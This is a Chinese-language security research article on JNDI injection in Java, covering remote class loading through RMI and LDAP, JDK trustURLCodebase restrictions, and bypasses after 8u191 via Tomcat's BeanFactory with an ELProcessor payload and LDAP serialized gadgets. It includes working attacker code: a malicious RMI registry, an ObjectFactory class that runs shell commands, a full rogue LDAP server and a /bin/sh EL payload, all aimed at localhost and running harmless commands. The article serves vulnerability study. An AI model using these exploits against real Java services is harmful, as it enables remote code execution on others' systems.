作者: 天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/TJTOh0q0OY-j6msP6XSErg

一、前言

在漏洞挖掘或利用的時候經常會遇見JNDI,本文會講述什么是JNDI、JNDI中RMI的利用、LDAP的利用、JDK 8u191之后的利用方式。

二、JNDI簡介

JNDI(The Java Naming and Directory Interface,Java命名和目錄接口)是一組在Java應用中訪問命名和目錄服務的API,命名服務將名稱和對象聯系起來,使得我們可以用名稱訪問對象。

這些命名/目錄服務提供者:

  • RMI (JAVA遠程方法調用)
  • LDAP (輕量級目錄訪問協議)
  • CORBA (公共對象請求代理體系結構)
  • DNS (域名服務)

JNDI客戶端調用方式

//指定需要查找name名稱
String jndiName= "jndiName";
//初始化默認環境
Context context = new InitialContext();
//查找該name的數據
context.lookup(jndiName);

這里的jndiName變量的值可以是上面的命名/目錄服務列表里面的值,如果JNDI名稱可控的話可能會被攻擊。

三、JNDI利用方式

RMI的利用

RMI是Java遠程方法調用,是Java編程語言里,一種用于實現遠程過程調用的應用程序編程接口。它使客戶機上運行的程序可以調用遠程服務器上的對象。想了解RMI的可以看下這篇文章

攻擊者代碼

public static void main(String[] args) throws Exception {
    try {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello", refObjWrapper);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

用web服務器來加載字節碼,保存下面的這個java文件,用javac編譯成.class字節碼文件,在上傳到web服務器上面。

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc2"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    public Calc() {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc3"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/Calc4"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
        return null;
    }
}

被攻擊者代碼

public static void main(String[] args) {
    try {
        String uri = "rmi://127.0.0.1:1099/hello";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    } catch (Exception e) {
        e.printStackTrace();
    }
}

我這里使用jdk1.8.0_102版本運行之后,/tmp/目錄下四個文件都會被創建,DEBUG看下原因。

javax.naming.InitialContext#getURLOrDefaultInitCtx

343行getURLScheme方法解析協議名稱,在345行NamingManager.getURLContext方法返回解析對應協議的對象

com.sun.jndi.toolkit.url.GenericURLContext#lookup

com.sun.jndi.rmi.registry.RegistryContext#lookup

這里會去RMI注冊中心尋找hello對象,接著看下當前類的decodeObject方法

因為ReferenceWrapper對象實現了RemoteReference接口,所以會調用getReference方法會獲取Reference對象

javax.naming.spi.NamingManager#getObjectFactoryFromReference

146行嘗試從本地CLASSPATH獲取該class,158行根據factoryName和codebase加載遠程的class,跟進看下158行loadClass方法的實現

com.sun.naming.internal.VersionHelper12#loadClass

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {

        ClassLoader parent = getContextClassLoader();
        ClassLoader cl =
                 URLClassLoader.newInstance(getUrlArray(codebase), parent);

        return loadClass(className, cl);
    }
    Class<?> loadClass(String className, ClassLoader cl)
        throws ClassNotFoundException {
        Class<?> cls = Class.forName(className, true, cl);
        return cls;
    }

這里是通過URLClassLoader去加載遠程類,此時觀察web服務器日志會發現一條請求記錄

因為static在類加載的時候就會執行,所以這里會執行touch /tmp/Calc1命令,ls查看下.

javax.naming.spi.NamingManager#getObjectFactoryFromReference163行執行clas.newInstance()的時候,代碼塊和無參構造方法都會執行,此時Calc2Calc3文件都會創建成功,ls看下

javax.naming.spi.NamingManager#getObjectInstance

321行會調用getObjectInstance方法,此時Calc4文件會被創建,ls看下

列下調用棧

getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:46, HelloClient

這里總結下,加載遠程類的時候static靜態代碼塊,代碼塊,無參構造函數和getObjectInstance方法都會被調用.

我把jdk換成1.8.0_181版本看下

直接運行會提示這樣的一個錯誤

看下com.sun.jndi.rmi.registry.RegistryContext.decodeObject代碼

354行var8是Reference對象,getFactoryClassLocation()方法是獲取classFactoryLocation地址,這兩個都不等于null,后面的trustURLCodebase取反,看下trustURLCodebase變量值

在當前類靜態代碼塊定義了trustURLCodebase的值為false,那么這一個條件也成立,所以會拋出錯誤。

在jdk8u121 7u131 6u141版本開始默認com.sun.jndi.rmi.object.trustURLCodebase設置為false,rmi加載遠程的字節碼不會執行成功。

LDAP的利用

LDAP是基于X.500標準的輕量級目錄訪問協議,目錄是一個為查詢、瀏覽和搜索而優化的數據庫,它成樹狀結構組織數據,類似文件目錄一樣。

攻擊者代碼

先下載https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1LDAP SDK依賴,然后啟動LDAP服務

public class Ldap {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        /**
         *
         */
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }

        }

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

這里還是用上面RMI那里的web服務器來加載字節碼

被攻擊者代碼

    public static void main(String[] args) {
        try {
            String uri = "ldap://127.0.0.1:9999/calc";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

這里使用jdk1.8.0_181版本運行之后,/tmp/目錄下四個文件都會被創建,調用的過程和JNDI RMI那塊一樣的,先解析協議,獲取ldap協議的對象,尋找Reference中的factoryName對象,先嘗試本地加載這個類,本地沒有這個類用URLClassLoader遠程進行加載...

列下調用棧

loadClass:72, VersionHelper12 (com.sun.naming.internal)
loadClass:87, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:158, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:45, HelloClient

把JDK換成1.8.0_241版本運行看下,會發現/tmp/目錄下的文件并沒有創建成功,DEBUG看下.

com.sun.naming.internal.VersionHelper12#loadClass

101行判斷了trustURLCodebase等于true才可以加載遠程對象,而trustURLCodebase的默認值是false

在jdk11.0.18u1917u2016u211版本開始默認com.sun.jndi.ldap.object.trustURLCodebase設置為false,ldap加載遠程的字節碼不會執行成功。

8u191之后

使用本地的Reference Factory類

jdk8u191之后RMI和LDAP默認都不能從遠程加載類,還是可以在RMI和LDAP中獲取對象。在前面我們分析過javax.naming.spi.NamingManager#getObjectFactoryFromReference方法,會先從本地的CLASSPATH中尋找該類,如果沒有才會去遠程加載。之后會執行靜態代碼塊、代碼塊、無參構造函數和getObjectInstance方法。那么只需要在攻擊者本地CLASSPATH找到這個Reference Factory類并且在這四個地方其中一塊能執行payload就可以了。Michael Stepankin師傅在tomcat中找到org.apache.naming.factory.BeanFactory#getObjectInstance來進行利用。

tomcat jar下載地址https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core/8.5.11

先看下poc

            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()\")"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calc", referenceWrapper);

DEBUG看下漏洞原因

org.apache.naming.factory.BeanFactory#getObjectInstance

public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
        if (obj instanceof ResourceRef) {
            NamingException ne;
            try {
                Reference ref = (Reference)obj;
                // 獲取到的是javax.el.ELProcessor
                String beanClassName = ref.getClassName();
                Class<?> beanClass = null;
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                if (tcl != null) {
                    try {
                            // 加載javax.el.ELProcessor類
                        beanClass = tcl.loadClass(beanClassName);
                    } catch (ClassNotFoundException var26) {
                    }
                } else {
                    ...
                }

                if (beanClass == null) {
                    throw new NamingException("Class not found: " + beanClassName);
                } else {
                    BeanInfo bi = Introspector.getBeanInfo(beanClass);
                    PropertyDescriptor[] pda = bi.getPropertyDescriptors();
                    Object bean = beanClass.newInstance();
                    //獲取forceString屬性的值{Type: forceString,Content: x=eval}
                    RefAddr ra = ref.get("forceString");
                    Map<String, Method> forced = new HashMap();
                    String value;
                    String propName;
                    int i;
                    if (ra != null) {
                        value = (String)ra.getContent();
                        Class<?>[] paramTypes = new Class[]{String.class};
                        String[] arr$ = value.split(",");
                        i = arr$.length;

                        for(int i$ = 0; i$ < i; ++i$) {
                            String param = arr$[i$];
                            param = param.trim();
                            //(char)61的值是=,獲取=在字符串的位置
                            int index = param.indexOf(61);
                            if (index >= 0) {
                                    //eval  
                                propName = param.substring(index + 1).trim();
                                //x
                                param = param.substring(0, index).trim();
                            } else {
                                propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
                            }

                            try {
                                //x=(ELProcessor.getMethod("eval",String[].class))
                                forced.put(param, beanClass.getMethod(propName, paramTypes));
                            } catch (SecurityException | NoSuchMethodException var24) {
                                ...
                            }
                        }
                    }

                    Enumeration e = ref.getAll();

                    while(true) {
                        ...
                                                        // "".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()")
                            value = (String)ra.getContent();
                            Object[] valueArray = new Object[1];
                            //eval method...
                            Method method = (Method)forced.get(propName);
                            if (method != null) {
                                valueArray[0] = value;

                                try {
                                        //反射執行ELProcessor.eval方法
                                    method.invoke(bean, valueArray);
                                } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
                                    throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
                                }
                            } else {
                                ...
                            }
                        }
                    }
                }
            }
            ...
    }

我在這個類上面加了一些注釋,ELProcessor.eval()會對EL表達式進行處理,最后會執行。

"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','open /Applications/Calculator.app']).start()")
使用序列化數據,觸發本地Gadget

com.sun.jndi.ldap.Obj#decodeObject

這里可以看到在LDAP中數據可以是序列化對象也可以是Reference對象。如果是序列化對象會調用deserializeObject方法

com.sun.jndi.ldap.Obj#deserializeObject

該方法就是把byte用ObjectInputStream對數據進行反序列化還原。那么傳輸序列化對象的payload,客戶端在這里就會進行觸發.

改造下LDAP SERVER即可

        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
            e.addAttribute("javaClassName", "foo");
            //getObject獲取Gadget
            e.addAttribute("javaSerializedData", serializeObject(getObject(this.cmd)));
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

調用鏈

readObject:1170, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2232, ObjectInputStream (java.io)
readOrdinaryObject:2123, ObjectInputStream (java.io)
readObject0:1624, ObjectInputStream (java.io)
readObject:464, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:43, HelloClient

四、總結

JNDI注入漏洞很常見,在fastjson/jackson中會調用getter/setter方法,如果在getter/setter方法中存在lookup方法并且參數可控就可以利用,可以看下jackson的黑名單https://github.com/FasterXML/jackson-databind/blob/master/src/main/java/com/fasterxml/jackson/databind/jsontype/impl/SubTypeValidator.java來學習哪些類可以拿來JNDI注入。在weblogic t3協議中基于序列化數據傳輸,那么會自動調用readObject方法,weblogic使用了Spring框架JtaTransactionManager類,這個類的readObject方法也存在JNDI注入調用鏈。

參考鏈接

  1. https://www.veracode.com/blog/research/exploiting-jndi-injections-java

  2. https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

  3. https://www.anquanke.com/post/id/201181

  4. https://xz.aliyun.com/t/7264

  5. https://xz.aliyun.com/t/6633

  6. https://mp.weixin.qq.com/s/0LePKo8k7HDIjk9ci8dQtA


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1207/